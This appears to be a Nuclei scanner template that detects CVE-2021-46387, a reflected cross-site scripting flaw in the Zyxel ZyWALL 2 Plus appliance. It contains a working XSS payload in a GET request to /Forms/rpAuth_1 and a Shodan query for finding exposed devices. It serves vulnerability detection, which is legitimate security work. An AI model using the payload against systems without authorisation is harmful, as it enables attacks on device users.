nuclei-templates/http/cves/2021/CVE-2021-46387.yaml

id: CVE-2021-46387

info:
  name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.
  reference:
    - https://www.exploit-db.com/exploits/50797
    - https://www.zyxel.com/us/en/support/security_advisories.shtml
    - https://drive.google.com/drive/folders/1_XfWBLqxT2Mqt7uB663Sjlc62pE8-rcN?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46387
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-46387
    cwe-id: CWE-79
    epss-score: 0.00455
  metadata:
    max-request: 1
    shodan-query: http.title:"Zywall2Plus"
  tags: cve,cve2021,xss,zyxel,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<iMg src=x onerror="prompt(document.domain)"><form>'
          - 'Entry Error'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/08/28